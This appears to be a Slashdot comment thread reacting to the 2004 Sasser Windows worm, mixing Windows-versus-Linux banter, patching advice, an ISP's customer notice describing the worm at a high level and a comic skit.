Terminology

[tritone]

Of course, here on slashdot, it's common enough to correctly identify this sort of malware as a "windows worm," but if this terminology could make it into the more general media, it might raise the general consciousness to make people more aware of the alternatives to Windows. Maybe some informed and polite letters to your local newspaper might make a difference.

Re:No brainer

[RoadkillBunny]

Every pc user with a brain should have a firewall and anti virus sofware running.

Concidering how I only use Windows to play games and burn CD's, I don't really care what worm get on it as long as it don't damage the hardisk. It is a bother to install a AV program when I spend so little time on Windows. btw, I am behind a firewall/router.

And AV isn't the only solution. My dad has the same laptop for at least 7 years now and it never got a virus. I guess that it is still running win95 from when he bought it has something to do with it....

Re:Windows is a joke, but hey, smile.

[TeddyR]

There are several modes for the "automatic" updates; some depend on OS/SP and if you have SUS/WUS installed. (if its a work laptop, they may have SUS/WUS configured for the updating process.)

In 2k and XP, you can

1- do nothing
2- Ask before downloading and before installing. (only admin users can say yes)
3- download updates automatically, but ask for installation (only admin users can install; they are asked if you they want to go ahead with the install)
4- automatically install at a fixed time (default 2 or 3 am); if a reboot is needed when a user logs in, it asks to reboot.

by default its #3.

in 2k, the option can be changed in the control panel (sp3 or higher needed).

in XP, right click on "my computer", properties, go to the automatic updates tab.

if it blocks your favorite removal/anti-virus site

[Xiph]

try using a google cache.
i've told soo many others by so now, so i might as well put it on slashdot

bwhahaha !

[freaks]

" Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you? " roflol windows-update is the virus factory ;)

Re:Removal Instructions [mirrors]

[AvantLegion]

Here's a few mirrors for those removal instructions, in case the rash of post-bug traffic slows things down:

http://fedora.redhat.com
http://www.gentoo.org
http://www.debian.org
http://www.linux-mandrake.com
http://www.slackware.com

Obligatory quote from Linux/*BSD/Mac users

[imnoteddy]

"Ha Ha!"
Nelson, various Simpsons episodes

Re:already feeling it on college campuses

[rokzy]

Your ideas intrigue me. I'd like to subscribe to your newsletter.

Re:already feeling it on college campuses

[Radon Knight]

> If I was in charge of a university's computer systems,
> absolutely no proprietary, closed source software would be
> allowed anywhere on my network, especially not the parts
> accessible to students

So, preventing your students from being unable to run Mathematica, Maple, Matlab, Visual Studio,... is educationally beneficial in what way?

Yes, closed source software has problems. So does open source. An all-out ban either way helps no one and solves nothing.

killing IE

[Beer_Smurf]

You say "killing IE" like it's a bad thing.

Re:Linux is vunerable too (The anti-anti-windows F

[ajs318]

1. Linux isn't as good as Windows, Windows has more accountability and support.

Microsoft could withdraw support for Windows at any time. Linux has independent support from a community of users.

2. If Linux was used as much as Windows then Viruses would be as common, instead of incredable rare.

Linux is secure by design. Privilege separation, memory protection and so forth. Most distributions force you to create a non-root user at installation time.

3. Windows is cheaper then Linux even though Linux is free. It's a TCO type of thing.

What you mean is that it's cheaper to hire somebody to fix a Windows box than a Linux box. There is a grain of truth in this. Windows often packs up for no appareny reason. Almost any unskilled monkey can "fix" a broken Windows box just by hoicking out the power lead, counting to ten and putting it back. Linux only ever misbehaves with a good reason, and requires someone who knows their arsehole from their earhole to fix it.

4. Gimp sucks compared to Photoshop.

This sounds like an ad hominem attack. At best it's a red herring. Photoshop is an Adobe product, nothing to do with Windows or Linux.

5. Open source is insecure by default. Only by hidding your secrets are they kept safe.

Thou smokest crack. If the security of your code depends on a secret that you hope an attacker will not discover, then as soon as an attacker discovers that secret then your code is insecure. The security of Linux does not depend on one big, centrally-kept secret. Cf. public key encryption.

6. IE is better then Firefox because my kids can play shockwave games on Disney.com

Then try the full version of Mozilla, which definitely supports the Flash player plugin {though I'm not convinced you aren't just lying, Firefox might well support plugins}. If you don't need Flash, but you would like tabbed browsing, pop-up blocking, a Javascript debugging console, cookie management and speed, then Firefox certainly does it.

7. MS has Exchange, Linux doesn't.

Linux has Sendmail. 'Nuff said.

8. OO.org sucks compared the usability of Office

You haven't said how OO.o "sucks", nor even which release you are talking about, so I have to presume you are merely parroting.

9. Linux isn't ready for the Desktop.

You are merely parroting.

10. Grandma can't install Linux.

Awwwwk! Pieces of eight! Polly want a cracker! Grandma can't install Windows either.

11. Can't play Everquest on Linux.

Blame the makers of Everquest, or find another game to play. See also point 4.

12. Users are the problem, Not Microsoft.

Just goes to show ..... if you say enough things then at least one of them might turn out to be true. Many users need to get a clue, I'll agree. But I have to say that writing a mail client which treats unknown file types as "executable" -- and executes them without the user's consent -- sounds seriously like aiding and abetting virus propagation. Yeah, that was years ago. See also point 9.

so thats why my /var/log/messages is so big today

[Indy1]

normally my home firewall (linux of course) logs about 100k bytes in messages per day (i have iptables log all dropped packets). Today alone its over 50 megs. Normally i have logrotate.conf set for weekly rotations, but i switched it to daily, and made sure my var partition has more then enough room (3 gigs free, so i think i am ok).

Well yeah....

[C0rinthian]

Windows. Only 20 remote holes in the default install since 13th April.

Otherwise it would be called "Microsoft Walls"

Wow! Bushfire!

[reignbow]

Our student dorm has its own network volunteer group, which I'm part of. This worm made a big entrance tonight, scoring 27 infections in two hours, on a network comprising about 300 machines, maybe 220 of which are running Windows. We had to take the suckers off the network AND because that's part of our self-imposed policy, drop a filled-in piece of paper into their letter boxes. I felt like the mail man, running around in the entrance hall with a wad of papers under my arm. Oh, and our upstream ISP got pissed at us, threatening to cut our connection alltogether. To sum it all up, I'm going to kill the guy who wrote this, right after I cheerfully refuse to reconnect all the suckers who fell for it!

New Windows Worm on the Loose

[Peale]

New Windows Worm on the Loose

What, it's been a week already?

goodbye windows update

[sir_cello]

Using Symantec AV, I LiveUpdate'd signatures, only to find that it decared System32/w32sup.exe as a trojan and quarantined it.

Re:goodbye windows update

[smeenz]

and... what's so funny about that ?

http://pestpatrol.com/pestinfo/w/w32sup.asp

notice to customers

[Anonymous Coward]

Here's a copy of a notice we've been sending to customers on this issue:

There's another worm spreading across the Internet, called the "Sasser Worm".

Vulnerable systems include: Windows 2000, Windows Server 2003, Windows XP

See:
http://us.mcafee.com/virusInfo/default.asp?id=desc ription&virus_k=125007
http://securityresponse.symantec.com/avcenter/venc /data/w32.sasser.worm.html

Microsoft security bulletin on the vulnerability:
http://www.microsoft.com/technet/security/Bulletin /MS04-011.mspx

Among other things, this worm installs an ftp server and a remote shell system to further propagate itself across Windows. It likely has the capability of giving remote users full access and control of the compromised machine, therefore any data on the system may be vulnerable.

Once a machine is infected, it starts 128 instances of itself, trying to spread the worm to other Microsoft PCs. The worm also attempts to disable the ability to shut down or restart the computer/server. The worm may also compromise the "system restore" function under some versions of Windows, so trying to revert back to an older configuration setup might reinstate the compromise!

As you might expect, our servers here are NOT directly affected or vulnerable. However, this is another "blaster" type worm which, once it infects a vulnerable Microsoft system, begins to randomly bombard other systems all around the Internet. The end result will be potentially severe denial-of-service attacks to all systems (in other words, services may be slow or unresponsive due to the traffic increase on the Internet from compromised systems).

We're going to have to wait until Monday to probably see the full-effect of this worm. The ability it will have to disrupt major services online is going to depend upon whether or not people have been routinely running Windows Update (http://windowsupdate.microsoft.com/).

If you are running a vulnerable system (Windows Server 2000/2003 and XP are vulnerable; Windows 95/98/ME are not vulnerable) and haven't run Windows Update in the last two weeks, there's a good chance you are vulnerable, if not infected if you are not behind a firewall and have been online for awhile.

This is yet another annoyance for most of us with Windows on our client PCs. By now everyone should be in the habit of automating or running Windows Update every few days.

The real problem are ISPs and web hosting companies that are using Microsoft NT/200x Server and XP for Internet based services. (And we don't do this but there are tons who do) This is particularly dangerous for e-commerce applications. The admins of these servers have to be forever diligent in making sure their systems are secure. Who knows what critical information (customer data, credit card numbers, etc.) are sitting around on these machines. It seems every week there's a new major vulnerability with Microsoft's servers. This is why we don't use MS products for e-commerce and critical services -- we don't want to risk the security of our clients. I urge everyone to be careful about providing e-commerce to systems running Microsoft servers - they have proven to be exponentially more vulnerable than Unix/Linux counterparts. (if you visit a web page and you see URLs with filenames like .ASP or .CFM, that's an indication the system may be running on a MS server and potentially more vulnerable).

As usual, those of us that do run secure systems are now going to be hammered by infected systems so bear with us while we hold out to see if admins of Microsoft Servers can fix their problems fast before their machines spam the Internet with data and cripple everyone else.

Patching / Firewalls

[gorfie]

Of course all good Windows-using Slashdotters visit Windows Update regularly and have a firewall, don't you?

Should read "Of course, all good Slashdotters patch their systems and have a firewall, don't you?".

Running something other than Windows is not a good reason to ignore security.

Re:Patching / Firewalls

[toast0]

Actually, none of the affected ports for this attack are necessary.

Usefull public well known ports:

22 ssh
25 smtp
80 http
110 pop3
123 ntp
220 imap
443 https

Grounded

[krray]

And in other news ... Delta flights grounded today due to "a computer glitch"

I have to wonder...

Re:Grounded

[/dev/trash]

I heard on the news that it was NOT "a security or safety issue"

Social engineering

[YrWrstNtmr]

...but how feasible WOULD it be to make worms for Linux?

"Here's your new screensaver!
You will be prompted for the admin password so we can install this and set it up.
[prompt] - Install screensaver|install [keylogger/SMTP/ZombieClient]
Please enter your admin password again to verify the settings for security
Thank you! We appreciate your business! Click here to send this to all your friends!"

Currently, Linux is more secure because, among other things, its users are generally more clued up. Put the general Bonzi fan on Lindows, and you'd see much the same thing.

Heh

[TheSpoom]

I work doing tech support for desktop computers made by Compaq and HP, both of which are sold at Wal-Mart. A friend of mine said "welcome to Hell" when I came in today. Now I know why :^(

Re:Linux is vunerable too (The anti-anti-windows F

[AnyoneEB]

Then try the full version of Mozilla, which definitely supports the Flash player plugin {though I'm not convinced you aren't just lying, Firefox might well support plugins}. If you don't need Flash, but you would like tabbed browsing, pop-up blocking, a Javascript debugging console, cookie management and speed, then Firefox certainly does it.

FYI, FireFox supports Flash and Java plug-ins fine. All previous versions I've used (since Phoenix v0.4) have supported those plug-ins as well.

Sasser

[rush22]

warning: attempt at humour follows.

Windows' House
A worm appears. Windows is surprised.

Enter Worm

Windows (moronically): duh hello? What are you doing in here?
Worm (aloof): Hey windows, how's it goin? Just wonderin' if I could, ya know, come on in for a bit. I know you don't really know me and all, but I just kinda found you here..
Windows: duh you look like an old friend.. what's his name, Bob.. Blast.. something or other. Ok since you're already here, it's not much, but there's a nice breeze that blows through.
Worm: Can I leave some of my stuff here?
Windows: Ok by me, there's a whole bunch of stuff here, people come by all the time picking stuff up, dropping it off. (helpfully) Let me take that for you.
Worm: Nice! Ummm, while I'm here, I have some code, and I just need a bit... err.. executed. Is that ok?
Windows (wary): Well... I don't know you that well.
Worm: C'mon, please? I'm friends with that guy in, uh, the service department, obviously I couldn't get in if he didn't let me in.
Windows (relieved): Oh him! Oh yeah, he's friends with a lot of people. Ok, I'll execute the code... there ya go all done.
Worm: Excellent. Ok, gotta go.

Enter Zone Alarm

Zone Alarm (alarmed): What's all this then? Who's this guy? Where is he trying to go? Why wasn't I alerted?!
Windows: Oh, he's just... a guy.. he came in for a bit.
Zone Alarm: How did he get in??
Windows (frustrated): Through the service entrance, I told you I got a lot of things going through there and don't want you bothering me about it all the time. The last time you blocked off the service entrance noone could get through.
Zone Alarm: Well don't let him out...

Exuent Worm

Zone Alarm: ...er where did he go?
Windows (ashamed): Out the service entrance.
Zone Alarm: That's it I quit.

Exuent Zone Alarm

THE END

Re:Linux is vunerable too (The anti-anti-windows F

[ajs318]

Yeah, but not everyone is as fastidious as you. In my line of work, I have experienced all sorts of idiots who shouldn't be allowed to use a pocket calculator, never mind the Internet. I've had to deal with people who don't know the difference between an e-mail address and a website URL, and even one person who didn't know the difference between an e-mail address and their own name! And the scary part is, these were the most tech-literate people working for their own companies. I've tried saying to people, "Get your IT person to set your Outlook Express {they always use that, despite the fact that anyone with half a brain knows how terrible it is} up with these parameters ....." and found that the clueless tosser on the other end was the IT person. {Even if our internal "no source, no sale" policy didn't forbid using Outlook Express our end, it would still be such a horrible buggy piece of software we wouldn't touch it with a barge pole; but these people insist on using it}. If they were running Linux, I could just get them to temporarily set a new root password, SSH into their box, set everything up for them, and that would be Job Done.

Well-set-up Windows systems can be much more secure than badly-set-up Linux systems. The trouble is that Linux users tend to {have to} be more clued-up. Part of the problem is the way Windows is pre-installed on so many machines. The supplier has to keep everything as general-purpose as possible, because they don't know what requirements the user's ISP will place on them -- which, in practice, means rather permissive defaults. In turn, the fact that it just works at first, despite the unnecessary ports and services, leads users not to think about security until it's too late already. With Linux {some obsolete RedHat versions excepted}, everything starts off inactive -- you have to select only what you want to allow. But that probably would also happen if users had to install Windows for themselves; or, even if pre-installed Windows systems had to be configured up from a "deny-all" situation. It means you have to use your brain a little bit, but that's hardly a bad thing -- as harsh as this may sound, it's more important that the job should be done properly, for the sake of other Internet users, than easily and maybe badly.